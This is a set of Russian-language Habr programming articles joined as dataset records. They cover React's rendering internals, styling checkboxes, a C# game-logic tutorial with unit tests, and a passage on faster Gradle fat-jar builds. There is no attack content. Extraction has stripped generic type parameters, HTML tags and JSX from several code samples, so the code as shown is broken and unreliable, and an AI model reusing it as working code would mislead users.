В любой момент времени вы можете описать, как будет выглядеть ваш UI. Важно понимать, что результат рендеринга не является фактическим DOM деревом. Это всего лишь легковесные JS объекты, которые мы называем «виртуальный DOM».
React будет использовать образ вашего виртуального DOMа, чтобы найти минимальное количество шагов, которые позволят перейти от предыдущего состояния отображения до следующего. Например, если мы вставляем `/>`, потом заменяем его `/>`, а потом удаляем его, то инструкции для DOM будут выглядеть следующим образом:
> *Исходное состояние к первому*
>
> * Создать узел: `A Span`
>
>
>
> *Первое ко второму*
>
> * Заменить атрибут: `className="first"` на `className="second"`
> * Заменяем узел: `A Span` на `A Paragraph`
>
>
>
> *Второе к конечному*
>
> * Удалить узел: `A Paragraph`
>
###### Уровень за уровнем
Нахождение минимального количества модификаций между двумя произвольными деревьями — задача O(n^3). Как вы могли догадаться, это неособо подходит для наших задач, поэтому React использует простой и весьма эффективный эвристический метод для нахождения аппроксимации, которая позволяет добиться сложности алгоритма, приближенной к O(n).
React просто сравнивает деревья по внутренним узлам. Это радикально меняет сложность алгоритма и не является большой потерей, т.к. в веб-приложениях нам очень редко приходится заниматься «вертикальным»(по разным уровням) перемещением внутреннего узла. Обычно мы перемещаем узлы «горизонтально»(на одном уровне).
###### Список
Давайте предположим, что у нас есть компонент, который за первую итерацию отрисоввывает 5 компонентов в виде списка, а следующая итерация добавляет один компонент в его середину. Согласитесь, будет весьма сложно найти разницу между двумя результирующими деревьями.
По умолчанию, React ассоциирует первый компонент предыдущего списка с первым компонентом нового списка и т.д. Вы можете установить элементу ключ, дабы предоставить React возможность использовать маппинг. На практике, обычно не составляет труда найти уникальные ключи при «горизонтальном» поиске.
###### Компоненты
Приложение, использующее React, обычно состоит из большого количества пользовательских компонентов, которые в конце концов превращаются в дерево, которое состоит в основном из `div`ов. Эта дополнительная информация будет включена в расчет при работе diff алгоритма, т.к. React будет сравнивать только компоненты одного класса.
Например, если `````будет заменен на , React просто удалит и создаст . При таком подходе, нам не нужно тратить драгоценное время, сравнивая два компонента, между которыми нет ничего общего.
#### Делегирование событий
Добавление обработчиков событий к DOM элементам - это всегда чрезвычайно медленно и затратно по памяти
Вместо этого, React реализует популярный подход, который называется "делегация событий". Более того, React идет еще дальше и создает свою событийную модель, совместимую с реализацией в W3C. Это означает, что баги обработки событий в IE8 остаются в прошлом, и все имена событий консистентны между браузерами.
Позвольте мне объяснить как это реализовано. Один обработчик события прикреплен к корню документа. Когда возникает событие, браузер предоставляет нам target` DOM элемент. В порядке распространения события внутри иерархии DOM, React не перебирает дерево "виртуального DOM".
Вместо этого мы используем тот факт, что любой компонент React имеет свой уникальный id, который описывает иерархическое положение объекта в DOM. Мы можем использовать простейшие манипуляции со строками, чтобы получить доступ ко всем id родителей. Путем сохранения обработчиков событий в [хэш-таблице](http://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88-%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0), мы обнаружили, что добиваемся большей производительности, нежели прикрепляя их к виртуальному DOM. Ниже приведен пример того, что происходит, когда возникает событие:
```
// dispatchEvent('click', 'a.b.c', event)
clickCaptureListeners['a'](event);
clickCaptureListeners['a.b'](event);
clickCaptureListeners['a.b.c'](event);
clickBubbleListeners['a.b.c'](event);
clickBubbleListeners['a.b'](event);
clickBubbleListeners['a'](event);
```
Браузер создает новый экземпляр объекта события для каждого обработчика, что позволяет получить доступ к ссылке на объект события или даже изменять его. Как бы то ни было, это означает большое количество выделенной памяти. React в начале своей работы создает пул таких объектов, и когда происходит обращение к одному из них, он берется именно из этого пула. Это существенно уменьшает количество мусора.
#### Рендеринг
###### Группировка
Каждый раз, когда вы вызываете `setState` у компонента, React отмечает его, как измененный. В конце выполнения цепочки событий, React находит все измененные компоненты и перерисоввывает их.
Подобная группировка означает, что за всё время выполнения цепочки событий, DOM изменится всего один раз. Такой подход является ключём к созданию производительных приложений, но к сожалению, этого всё ещё чрезвычайно трудно добиться, используя нативный JavaScript. В приложениях, созданных с помощью React, вы получаете это "по умолчанию".
###### Перерисовка поддеревьев
Когда происходит вызов `setState`, компонент перестраивает виртуальный DOM для своих детей. Если вы вызываете `setState` из корневого элемента, то произойдет полный ререндер всего React приложения: метод `render` будет вызван у всех компонентов, даже если они не были изменены. Это звучит немного пугающе и неэффективно, но на практике это замечательно работает, ведь мы не трогаем настоящий DOM.
Прежде всего, мы говорим об отображении пользовательского интерфейса. Из-за того, что пространство экрана ограничено, вы обычно отображаете
от сотен до тысяч элементов одновременно. Поэтому, JavaScript довольно быстро получил возможность создавать полностью управляемый интерфейс.
Другой важный аспект - это то, когда вы пишете React код, вы обычно не вызываете `setState` у корневого элемента приложения, когда что-либо изменяется. Вы вызываете его у компонента, у которого возникает событие изменения состояния, или на пару узлов выше. Таким образом, вы почти всегда избегаете вызова изменений у корневого узла. Это означает, что изменения локализованы в тех компонентах, где они происходят.
###### Выборочная перерисовка поддеревьев
Иногда у вас есть возможность предотвратить перерисовку некоторых поддеревьев - если вы реализуете следующий метод в своем компоненте:
```
boolean shouldComponentUpdate(object nextProps, object nextState)
```
Основываясь на разнице предыдущего и последующего состояния компонента, вы можете сказать React, что компонент не нуждается в перерисовке. Используя данное свойство, вы можете добиться огромных улучшений в производительности.
Перед тем как использовать его, вам необходимо сравнить два JavaScript объекта. Возникает много вопросов, например должно ли сравнение быть поверхностным или глубоким? И, если оно глубокое, должны ли мы использовать неизменяемую структуру данных или стоит использовать глубокие копии?
И вы бы так же хотели знать, что функция, которая будет вызываться все время, будет выполняться быстрее, чем за время, которое бы потребовалось для повторной отрисовки компонента, даже если оно и не было бы нужно.
#### Вывод
Технологии, которые делают React быстрым, не новы. Мы все прекрасно знаем, что изменение DOM является дорогостоящей операцией, что стоит группировать операции записи и чтения из него, что делегирование событий быстрее...
Люди продолжают говорить об этом, потому что на практике их довольно тяжело использовать в обычном JavaScript коде. Именно это и выделяет React из всех остальных - все оптимизации работы с DOM сделаны "по умолчанию". Такой подход не дает выстрелить себе в ногу и сделать приложение медленным.
Модель изменения стоимости производительности React очень проста: каждый вызов `setState` перерисоввывает все поддерево. Если вы хотите выжать максимальную производительность, вызывайте его как можно реже и используйте `shouldComponentUpdate`, чтобы избежать лишних перерисовок больших поддеревьев.```` | https://habr.com/ru/post/217295/ | null | ru | null |
# Еще раз о визуализации input типа checkbox и radio. Для тех, кто забыл как
Тема старая и уже, как выяснилось, подзабытая.
Недавно у меня была короткая работа по разработке ТЗ на модернизацию давно существующего проекта. И, в частности дело касалось стилизации пресловутых . Выяснилось, что исполнитель, программист «на все руки» даже не понял, что я ему на словах объяснял как это сделать. Пришлось делать примеры и, как результат, появился этот текст.
Напомню, что сейчас checkbox и radiobox разные сайты изображают по-разному. Бывает, что не отмеченный input сразу и не разглядишь – такой он «дизайнерский красивый», а у последних версий Chrome выбранные checkbox стали гнусного цвета циан.
### Итак, ситуация
Есть три компании, которые используют некий программный продукт, связанный с заказами, бухгалтерией, складом и пр. Работа с заказчиками, партнерами, исполнителями и пр.
Маркетологи и рекламщики тоже его используют. Что эта система делает – неважно, на чем написано – неважно.
А важно, что на сайте этого продукта есть много страниц с формами, на которых много input checkbox и radio.
### Жалобы сотрудников
**Директор**: *На большом экране плохо видно и незаметны «крыжики».*
**Главбух**: *На моем компе «крыжики» выглядят так, у сотрудниц иначе, дома тоже не так, а на планшете совсем иначе.*
**Маркетолог**: *А можно, так что бы некоторые не выбранные позиции были красными, а другие выбранные были зелеными?*
И т.д., и т.п.
### Итак, задача
1. Минимальными затратами и минимальными изменениями исправить внешний вид checkbox и radiobox.
2. Сделать стилизацию checkbox и radiobox для разных юзеров. Важно: это закрытый сайт, там «всё свои», «красоты» не нужны, а нужна эффективность восприятия.
### Что нельзя
1. Серверную часть трогать нельзя.
2. Файлы javascript трогать нельзя, свой javascript вставлять нельзя.
3. Файлы css трогать нельзя.
### А что можно
1. Править html шаблоны.
2. Создать файл стилей для всех юзеров.
4. Создать файл стилей для конкретного юзера или группы юзеров.
А что сделали можно сразу посмотреть на [**codepen.io**](https://codepen.io/PavelF/pen/VwexLLP), но лучше почитать дальше.
### Предварительное изучение показало
1. Почти все имеют поле name, а которые не имеют, то у них есть id.
2. Все имеют поле name, некоторые имеют id.
3. Соответственно, в css к checkbox можно обращаться как по id, так и по name. К radio – или по id, или по номеру потомка у родителя.
Фрагменты исходного кода:
```
/* вариант 1 */
Некий текст
/* вариант 2 */
Некий текст
Некий текст
/* вариант 3 */
... Некий текст...
/* вариант 4 */
|
Некий текст |
``` | https://habr.com/ru/post/511080/ | null | ru | null |
# Пишем игровую логику на C#. Часть 1/2
Всем привет. В связи с выходом моей игры SpaceLab на GreenLight я решил начать серию статей о разработке игры на C#/Unity. Она будет основываться на реальном опыте её разработки и немного отличаться от стандартных гайдов для новичков:
Во-первых, я не буду повторять документацию иными словами.
Во-вторых, необходимо знание программирования, чтобы понять о чем я пишу.
---
К сожалению, эта статья не сможет вам помочь, если вы хотите создать свою казуальную игру используя лишь мышь.
Зато я шаг за шагом расскажу о создании движка, на котором будет работать игровая логика нашей экономической стратегии.
Для тех, кто любит спойлеры или просто хочет почитать код — в конце есть ссылка не репозиторий, где каждый пункт добавлен отдельным коммитом.
Кого заинтересовало узнать, что за игра — внизу есть видео и ссылка на бесплатное скачивание.
Сразу предупрежу — у меня нету цели идеально применить огромное количество паттернов или описать подход к методологии TTD. В статье я стараюсь писать читабельный, поддерживаемый и безбажный код, как он писался бы в жизни. Возможно, людям имеющим огромный скилл в C# и написании игр данная статья покажется очевидной. Тем не менее, вопрос о том, как писать гейм-логику я слышал довольно часто и эта статья прекрасно подойдет и тем, кому интересно написание сервера и тем, кому интересно написание клиента на Unity.
### Краткое описание GD, которого мы хотим достичь
1. Игрок управляет кораблем. В корабле можно выстраивать комнаты, в комнатах можно добавлять в слоты модули.
2. Для постройки чего-либо необходимо потратить ресурсы и подождать время.
Через полгода разработки результат должен выглядеть как-то так)
### План работы
1. Настраиваем проекты
2. Создаем ядро — базовые сооружения
3. Добавляем и тестируем первые команды — построить строение и модуль
4. Выносим настройки строений и модулей в отдельный файл
5. Добавляем течение времени
6. Добавляем Constructible, строения теперь строятся некоторое время
7. Добавляем ресурсы, для постройки необходимы ресурсы
8. Добавляем цикл производства — модуль потребляет и выдает ресурсы
Статья получилась очень объемной, потому пришлось разделить ее на две части. В данной части мы сделаем первые пять пунктов, а [во второй части](https://habrahabr.ru/post/322268/) закончим
1. Настраиваем проекты
----------------------
На первых порах Unity Editor нам не понадобится — мы пишем ГеймЛогику. Открываем VS и создаем два проекта: `GаmeLogic` и `LogicTests` (Unit Tests Project). В первом мы будем писать собственно логику игры на чистом C# не используя namespace Unity, второй будет тестить нашу логику встроенной тест-тулзой. Добавим в GameLogic первый класс Core и напишем первый тест, чтобы проверить нашу связку:
>
> ```
> public class Core
> {
> public static void Main () {}
> public Core () {}
> }
> ```
>
>
>
> ```
> [TestClass]
> public class Init
> {
> [TestMethod]
> public void TestMethod1 ()
> {
> Assert.IsInstanceOfType(new Core(), typeof(Core));
> }
> }
> ```
>
2. Создаем ядро — базовые сооружения
------------------------------------
Что ж, это указывает, что настроили мы корректно и можно переходить к программированию логики.
Итак, разберемся с нашим гейм-дизайном. У нас есть корабль (Ship), в нем комнаты (Room), в каждую комнату может быть построено строение (Building), а в каждом строении могут быть модули (Module). Конечно, Room и Building можно было бы объединить в одну сущность, но далее такое разделение нам только поможет.
Для всех этих сооружений я создам отдельный namespace Architecture и базовые классы. А так же enum для индексов комнат. Многие вещи, которые мы сейчас делаем — временные и необходимы, чтобы запустить первый тест гейм-логики.
>
> ```
> public enum BuildingType
> {
> Empty,
> PowerPlant
> }
> ```
>
>
>
> ```
> public enum ModuleType
> {
> Generator
> }
> ```
>
>
>
> ```
> public class Core
> {
> public static void Main () {}
>
> public readonly Ship Ship = new Ship();
>
> public Core ()
> {
> Ship.CreateEmptyRooms();
> }
> }
> ```
>
>
>
> ```
> public class Ship
> {
> // Временно добавим некоторое количество комнат
> public readonly int RoomsLimit = 10;
>
> private readonly List rooms = new List();
>
> public IEnumerable Rooms {
> get { return rooms; }
> }
>
> public void CreateEmptyRooms ()
> {
> for (var i = 0; i < RoomsLimit; i++) {
> rooms.Add(new Room(i));
> }
> }
>
> public Room GetRoom (int index)
> {
> return rooms[index];
> }
> }
> ```
>
>
>
> ```
> public class Room
> {
> public readonly int Index;
>
> // каждая комната является пристанищем для строения
> public Building Building { get; set; }
>
> public Room (int index)
> {
> Index = index;
>
> // и по-умолчанию - это пустое строение
> Building = new Building(BuildingType.Empty);
> }
> }
> ```
>
>
>
> ```
> public class Building
> {
> // Ограничим количество модулей, которые можно поставить в строение
> public readonly int ModulesLimit = 10;
>
> public readonly BuildingType Type;
>
> // Каждый модуль может иметь свою сообтвенную позицию
> private readonly Dictionary modules = new Dictionary();
>
> public IEnumerable Modules {
> get { return modules.Values; }
> }
>
> public Building (BuildingType type)
> {
> Type = type;
> }
>
> public Module GetModule (int position)
> {
> return modules.ContainsKey(position)
> ? modules[position]
> : null;
> }
>
> public void SetModule (int position, Module module)
> {
> if (position < 0 || position >= ModulesLimit) {
> throw new IndexOutOfRangeException(
> "Position " + position + " is out of range [0:" + ModulesLimit + "]"
> );
> }
>
> modules[position] = module;
> }
> }
> ```
>
>
>
> ```
> public class Module
> {
> public readonly ModuleType Type;
>
> public Module (ModuleType type)
> {
> Type = type;
> }
> }
> ```
>
3. Добавляем и тестируем первые команды — построить строение и модуль
---------------------------------------------------------------------
Теперь мы сможем написать первую «фичу» — постройка строения и постройка модуля в нем. Все подобные действия я буду описывать отдельным классом, который будет наследоваться от класса Command:
>
> ```
> public abstract class Command
> {
> public Core Core { get; private set; }
> public bool IsValid { get; private set; }
>
> public Command Execute (Core core)
> {
> Core = core;
> IsValid = Run();
> return this;
> }
>
> protected abstract bool Run ();
> }
> ```
>
И хотя сейчас даже такая маленькая структура излишня — чуть позже благодаря ей мы прикрутим необходимые нам события. А существование каждого атомарного действия в отдельной команде позволит нам их комбинировать. Напишем наши первые два действия:
>
> ```
> public class BuildingConstruct : Command
> {
> public readonly Room Room;
> public readonly Building Building;
>
> public BuildingConstruct (Room room, Building building)
> {
> Room = room;
> Building = building;
> }
>
> protected override bool Run ()
> {
> // Нельзя строить там, где уже что-то есть
> if (Room.Building.Type != BuildingType.Empty) {
> return false;
> }
> // Нельзя строить пустую комнату
> if (Building.Type == BuildingType.Empty) {
> return false;
> }
>
> Room.Building = Building;
> return true;
> }
> }
> ```
>
>
>
> ```
> public class ModuleConstruct : Command
> {
> public readonly Building Building;
> public readonly Module Module;
> public readonly int Position;
>
> public ModuleConstruct (Building building, Module module, int position)
> {
> Building = building;
> Module = module;
> Position = position;
> }
>
> protected override bool Run ()
> {
> if (Building.Type == BuildingType.Empty) {
> return false;
> }
>
> if (Position < 0 || Position >= Building.ModulesLimit) {
> return false;
> }
>
> if (Building.GetModule(Position) != null) {
> return false;
> }
>
> Building.SetModule(Position, Module);
> return true;
> }
> }
> ```
>
Пришло время посмотреть, работает ли наш движок. В тестах создаем ядро, пробуем построить комнату, а в нее пытаемся построить модуль. Кроме этого стоит добавить проверку, что нельзя построить то, чего гейм-логика не должна позволять строить:
>
> ```
> [TestClass]
> public class Architecture
> {
> [TestMethod]
> public void CorrectConstruction ()
> {
> var core = new Core();
> var room = core.Ship.GetRoom(0);
>
> Assert.AreEqual(BuildingType.Empty, room.Building.Type);
> Assert.AreEqual(0, room.Building.Modules.Count());
>
> Assert.IsTrue(
> new BuildingConstruct(
> room,
> new Building(BuildingType.PowerPlant)
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.AreEqual(BuildingType.PowerPlant, room.Building.Type);
> Assert.AreEqual(0, room.Building.Modules.Count());
>
> Assert.IsTrue(
> new ModuleConstruct(
> room.Building,
> new Module(ModuleType.Generator),
> 2
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.AreEqual(BuildingType.PowerPlant, room.Building.Type);
> Assert.AreEqual(ModuleType.Generator, room.Building.GetModule(2).Type);
> Assert.AreEqual(1, room.Building.Modules.Count());
> }
>
> [TestMethod]
> public void IncorrectConstruction ()
> {
> var core = new Core();
> var room = core.Ship.GetRoom(0);
>
> Assert.IsFalse(
> new BuildingConstruct(
> room,
> new Building(BuildingType.Empty)
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.IsFalse(
> new ModuleConstruct(
> room.Building,
> new Module(ModuleType.Generator),
> 2
> )
> .Execute(core)
> .IsValid
> );
>
> new BuildingConstruct(
> room,
> new Building(BuildingType.PowerPlant)
> )
> .Execute(core);
>
> Assert.IsFalse(
> new BuildingConstruct(
> room,
> new Building(BuildingType.PowerPlant)
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.IsFalse(
> new ModuleConstruct(
> room.Building,
> new Module(ModuleType.Generator),
> 666
> )
> .Execute(core)
> .IsValid
> );
> }
> }
> ```
>
4. Выносим настройки строений и модулей в отдельный файл
--------------------------------------------------------
К счастью, наши тесты прекрасно проходятся. Теперь нам необходима возможность линейно расширять количество строений и модулей — для этого необходимо сделать следующее:
1. Создать конфигурацию для строений и модулей — "`class BuildingConfig`" и "`class ModuleConfig`", именно они будут хранить все настройки наших сооружений.
2. Building и Module при создании должны принимать соответствующие настройки
3. Сделать фабрику для создания модулей и строений
4. Добавить настройки для нескольких строений и модулей
5. Адаптировать существующий код под новые входные данные
>
> ```
> // Создаем конфиги
> public class BuildingConfig
> {
> public BuildingType Type;
> // Теперь никаких констант
> public int ModulesLimit;
> // Каждое строение может иметь только определенные модули
> public ModuleType[] AvailableModules;
> }
> ```
>
>
>
> ```
> public class ModuleConfig
> {
> public ModuleType Type;
> }
> ```
>
>
>
> ```
> public class Building
> {
> // ...
> public readonly BuildingConfig Config;
>
> // ...
>
> // В конструкторе принимаем конфиг, а не индекс
> public Building (BuildingConfig config)
> {
> Type = config.Type;
> ModulesLimit = config.ModulesLimit;
> Config = config;
> }
> }
> ```
>
>
>
> ```
> public class Module
> {
> // ...
> public readonly ModuleConfig Config;
>
> // В конструкторе принимаем конфиг, а не индекс
> public Module (ModuleConfig config)
> {
> // ...
> Type = config.Type;
> Config = config;
>
> }
> }
> ```
>
Как можно понять, теперь наш код нерабочий. Для того, чтобы не таскать каждый раз с собой конфиги создадим фабрику, которая будет выпускать наши сооружения зная только их тип. Я знаю, что название пока слишком общее, но мы всегда с легкостью можем его переименовать благодаря IDE, так же, как и разделить на две фабрики:
>
> ```
> public class Factory
> {
> public Building ProduceBuilding (BuildingType type)
> {
> throw new Exception("Not implemented yet");
> }
> public Module ProduceModule (ModuleType type)
> {
> throw new Exception("Not implemented yet");
> }
> }
> ```
>
>
>
> ```
> // А также добавим нашу фабрику в ядро:
> public class Core
> {
> // ...
> public readonly Factory Factory = new Factory();
>
> public Core ()
> {
> // В аргумент метода передаем фабрику
> Ship.CreateEmptyRooms(Factory);
> }
> }
>
> ```
>
>
>
> ```
> // Корабль теперь принимает фабрику в качестве аргумента:
> public class Ship
> {
> // ...
> public void CreateEmptyRooms (Factory factory)
> {
> for (var i = 0; i < RoomsLimit; i++) {
> rooms.Add(new Room(i, factory.ProduceBuilding(BuildingType.Empty)));
> }
> }
> ```
>
>
>
> ```
> // А комната - принимает строение по-умолчанию:
> public class Room
> {
> // ...
>
> public Room (int index, Building building)
> {
> Index = index;
> Building = building;
> }
> }
> ```
>
Сейчас IDE указывает, где мы имеем ошибки — заменим там вызов конструктора на использование фабрики.
>
> ```
> // в тестах
> new Building(Type);
> // заменяем на
> core.Factory.ProduceBuilding(Type);
> ```
>
>
>
> ```
> // в тестах
> new Module(Type);
> // заменяем на
> core.Factory.ProduceModule(Type);
> ```
>
>
>
И хотя сейчас код корректен — при запуске наших тестов мы словим `"Not implemented yet"`. Для этого вернемся к нашей фабрике и реализуем несколько строений и модулей.
>
> ```
> public class Factory
> {
> private readonly Dictionary buildings = new Dictionary() {
> { BuildingType.Empty, new BuildingConfig() {
> Type = BuildingType.Empty
> }},
> { BuildingType.PowerPlant, new BuildingConfig() {
> Type = BuildingType.PowerPlant,
> ModulesLimit = 5,
> AvailableModules = new[]{ ModuleType.Generator }
> }},
> { BuildingType.Smeltery, new BuildingConfig() {
> Type = BuildingType.Smeltery,
> ModulesLimit = 4,
> AvailableModules = new[]{ ModuleType.Furnace }
> }},
> { BuildingType.Roboport, new BuildingConfig() {
> Type = BuildingType.Roboport,
> ModulesLimit = 3,
> AvailableModules = new[]{
> ModuleType.Digger,
> ModuleType.Miner
> }
> }}
> };
>
> private readonly Dictionary modules = new Dictionary() {
> { ModuleType.Generator, new ModuleConfig() {
> Type = ModuleType.Generator
> }},
> { ModuleType.Furnace, new ModuleConfig() {
> Type = ModuleType.Furnace
> }},
> { ModuleType.Digger, new ModuleConfig() {
> Type = ModuleType.Digger
> }},
> { ModuleType.Miner, new ModuleConfig() {
> Type = ModuleType.Miner
> }}
> };
>
> public Building ProduceBuilding (BuildingType type)
> {
> if (!buildings.ContainsKey(type)) {
> throw new ArgumentException("Unknown building type: " + type);
> }
>
> return new Building(buildings[type]);
> }
> public Module ProduceModule (ModuleType type)
> {
> if (!modules.ContainsKey(type)) {
> throw new ArgumentException("Unknown module type: " + type);
> }
>
> return new Module(modules[type]);
> }
> }
>
> ```
>
Я сразу добавил несколько строений и модулей, чтобы можно было покрыть тестами. И сразу скажу — да, хранить все эти настройки в фабрике нету никакого смысла. Они будут лежать отдельно в JSON файлах, по одному на структуру, парсится и передаваться в фабрику. К счастью, у нас движок даже не заметит этого изменения. Ну а пока нам не так критично вынести их в ЖСОНы, как запустить тесты и проверить все ли корректно работает. К счастью, да. Заодно допишем тесты, что нельзя построить модуль не в той комнате, например, Furnace в PowerPlant.
>
> ```
> [TestMethod]
> public void CantConstructInWrongBuilding ()
> {
> var core = new GameLogic.Core();
> var room = core.Ship.GetRoom(0);
>
> new BuildingConstruct(
> room,
> core.Factory.ProduceBuilding(BuildingType.PowerPlant)
> )
> .Execute(core);
>
> Assert.IsFalse(
> new ModuleConstruct(
> room.Building,
> core.Factory.ProduceModule(ModuleType.Furnace),
> 2
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.AreEqual(null, room.Building.GetModule(2));
> }
>
> ```
>
Увы, как вы можете догадаться, никто логику проверки не писал. Добавим условие валидации в команду постройки модуля и после этого успешно пройдем тест:
>
> ```
> public class ModuleConstruct : Command
> {
> // ...
> protected override bool Run ()
> {
> // ...
> if (!Building.Config.AvailableModules.Contains(Module.Type)) {
> return false;
> }
> // ...
>
> ```
>
Что ж, теперь все корректно. Заодно добавим тесты на корректную работу лимитов и пойдем дальше.
>
> ```
> [TestMethod]
> public void ModulesLimits ()
> {
> var core = new GameLogic.Core();
> var roomRoboport = core.Ship.GetRoom(0);
> var roomPowerPlant = core.Ship.GetRoom(1);
>
>
> Assert.IsTrue(
> new BuildingConstruct(
> roomRoboport,
> core.Factory.ProduceBuilding(BuildingType.Roboport)
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.IsTrue(
> new BuildingConstruct(
> roomPowerPlant,
> core.Factory.ProduceBuilding(BuildingType.PowerPlant)
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.IsFalse(
> new ModuleConstruct(
> roomRoboport.Building,
> core.Factory.ProduceModule(ModuleType.Miner),
> 3
> )
> .Execute(core)
> .IsValid
> );
>
> Assert.IsTrue(
> new ModuleConstruct(
> roomPowerPlant.Building,
> core.Factory.ProduceModule(ModuleType.Generator),
> 3
> )
> .Execute(core)
> .IsValid
> );
> }
>
> ```
>
5. Добавляем течение времени
----------------------------
Компьютеры дискретны. И все игры дискретны. Если говорить просто, то представим, что все игры — пошаговые. У большинства игр шаги пропускаются автоматически и 60 раз в секунду. Такие игры называются риалтайм. Я понимаю, что это очень грубо, но для реализации гейм-логики довольно удобно представлять, что ваша игра — пошаговая и мыслить такими категориями. А потом уже на клиенте можно запустить tween между двумя состояниями и юзеру будет красиво и игра будет работать быстро. Для начала введем понятие хода:
>
> ```
> public class Turns
> {
> public int CurrentTurn { get; private set; }
>
> internal void NextTurn ()
> {
> CurrentTurn++;
> }
> }
> ```
>
>
>
> ```
> public class Core
> {
> public readonly Turns Turns = new Turns();
> }
>
> ```
>
А также введем команду, которая позволяет переключать хода. Я сразу добавил команду, которая позволяет переключить несколько ходов — будет довольно удобно во время тестирования. В тестах одним выстрелом покроем сразу двух зайцев.
>
> ```
> public class NextTurn : Command
> {
> protected override bool Run ()
> {
> // Именно тут будет вся логика хода
>
> Core.Turns.NextTurn();
> return true;
> }
> }
> ```
>
>
>
> ```
> public class NextTurnCount : Command
> {
> public const int Max = 32;
>
> public readonly int Count;
>
> public NextTurnCount (int count)
> {
> Count = count;
> }
>
> protected override bool Run ()
> {
> if (Count < 0 || Count > Max) {
> return false;
> }
>
> for (var i = 0; i < Count; i++) {
> var nextTurn = new NextTurn().Execute(Core);
>
> if (!nextTurn.IsValid) return false;
> }
>
> return true;
> }
> }
> ```
>
>
>
> ```
> [TestClass]
> public class Turns
> {
> [TestMethod]
> public void NextTurnsCommand ()
> {
> var core = new Core();
>
> Assert.AreEqual(0, core.Turns.CurrentTurn);
>
> Assert.IsTrue(
> new NextTurnCount(4)
> .Execute(core)
> .IsValid
> );
>
> Assert.AreEqual(4, core.Turns.CurrentTurn);
> }
> }
>
> ```
>
Забегая далеко вперед напишу, как сделать переключалку скоростей в игру, которая позволит нам запускаться с разной скоростью:
>
> ```
> public class TimeWarp
> {
> public readonly int Speed_Stop = 0;
> public readonly int Speed_X1 = 1000;
> public readonly int Speed_X2 = 500;
> public readonly int Speed_X5 = 200;
>
> public readonly Core Core;
>
> private int currentSpeed;
>
> public int currentTime { get; private set; }
>
> public TimeWarp (Core core)
> {
> currentSpeed = Speed_Stop;
> Core = core;
> }
>
> public void SetSpeed (int speed)
> {
> currentSpeed = speed;
> currentTime = Math.Min(speed, currentTime);
> }
>
> public int GetSpeed ()
> {
> return currentSpeed;
> }
>
> public bool IsStopped ()
> {
> return currentSpeed == Speed_Stop;
> }
>
> public void AddTime (int ms)
> {
> if (IsStopped()) return;
>
> currentTime += ms;
>
> // Тут можно написать через
> // while (currentTime >= currentSpeed) NextTurn
> // Но зачем запускать каждый кадр больше одного хода?
> // Даже 20 ходов в секунду будет более чем достаточно
> if (currentTime < currentSpeed) return;
>
> currentTime -= currentSpeed;
>
> new NextTurn().Execute(Сore);
> }
> }
>
> ```
>
>
>
> ```
> [TestMethod]
> public void TimeWarp ()
> {
> var core = new Core();
> var time = new TimeWarp(core);
>
> Assert.AreEqual(0, core.Turns.CurrentTurn);
>
> time.SetSpeed(time.Speed_X5);
>
> time.AddTime(50);
> time.AddTime(50);
> time.AddTime(50);
> time.AddTime(50);
>
> Assert.AreEqual(1, core.Turns.CurrentTurn);
>
> time.AddTime(199);
>
> Assert.AreEqual(1, core.Turns.CurrentTurn);
>
> time.AddTime(1);
>
> Assert.AreEqual(2, core.Turns.CurrentTurn);
> }
>
> ```
>
Теперь в Unity достаточно будет подвесится на любой Update и передавать дельта время в наш TimeWarp:
>
> ```
> public TimeComponent : MonoBehaviour {
>
> public TimeWarp timeWarp;
>
> public void Awake () {
> timeWarp = ...; //
> }
>
> public void Update () {
> timeWarp.AddTime( Time.deltaTime );
> }
> }
>
> ```
>
Продолжение следует...
----------------------
В [следующей статье](https://habrahabr.ru/post/322268/) мы закончим создание работоспособной основы для нашего движка, реализовав следующие пункты:
6. Добавляем Constructible, строения теперь строятся некоторое время
7. Добавляем ресурсы, для постройки необходимы ресурсы
8. Добавляем цикл производства — модуль потребляет и выдает ресурсы
Для тех, кто просто любит код — есть [отдельный репозиторий на ГитХаб](https://github.com/theshock/GameLogicArticle)
Кроме этого, если вас интересуют вопросы по разработке SpaceLab — задавайте, отвечу на них в комментариях или в отдельной статье
Скачать для Windows, Linux, Mac бесплатно и без СМС можно со [страницы SpaceLab на GreenLight](http://steamcommunity.com/sharedfiles/filedetails/?id=868755125) | https://habr.com/ru/post/322258/ | null | ru | null |
# Ускоряем время сборки и доставки java web приложения
**TLTD**
1. удалил jar из сборки проекта
2. заменил его таском, который быстрее в 7 раз
Детали и результат под катом.
О проекте
---------
Веб сервис на java, который отдает наружу *rest api* и *websockets*, а внутри умеет ходить в *распределенную бд* и *распределенный кеш*.
Проект использует *embedded jetty* для старта, запускается через `public status void method`.
Доставляется на сервер в виде fat jar и запускается через `java -jar myapp.jar app.yaml`
Профилируем
-----------
Gradle отличный иструмент, который из коробки дает профайлер. Запустим билд с параметром `--profile` и подождем результат.
```
./gradlew clean build --profile
```
Думаю, результат в комментировании не нуждается:
Изучаем проблему
----------------
Первым делом я решил посмотреть как сейчас создается fat jar:
```
jar {
manifest {
attributes "Main-Class": "com.baeldung.fatjar.Application"
}
from {
configurations.compile.collect { it.isDirectory() ? it : zipTree(it) }
}
}
```
Прописываем в манифесте класс с main методом и **распаковываем jar dependencies** в корневую папку jar архива.
Это можно проверить, если сделать распаковав jar `unzip myapp.jar` и посмотреть дерево текущией папки `tree .`
Неудивительно, что это медленно, *много мелких файлов* нужно сначало распаковать, а потом обратно запаковать.
Оптимизируем
------------
Далее, я попровал нагуглить более быстрый вариант создания jar файла.
Я попробовал плагины для gradle:
[gradle-fatjar-plugin](https://github.com/musketyr/gradle-fatjar-plugin) — больше не поддерживается
[shadow](https://github.com/johnrengelman/shadow) — удалось собрать им, но он использует тот же способ, как и выше, поэтому это не дало прироста в скорости
[gradle-one-jar](https://github.com/rholder/gradle-one-jar) — вообще не смог запустить, честно скажу, возможно нужно было просто потратить больше времени
Тут мне пришла идея, даже можно сказать вызов. А как запустить приложения без jar? У меня как раз был распакованных архив, для того, чтобы попробовать это.
Оказалось не сложно:
```
java -cp . com.example.Main app.yml
```
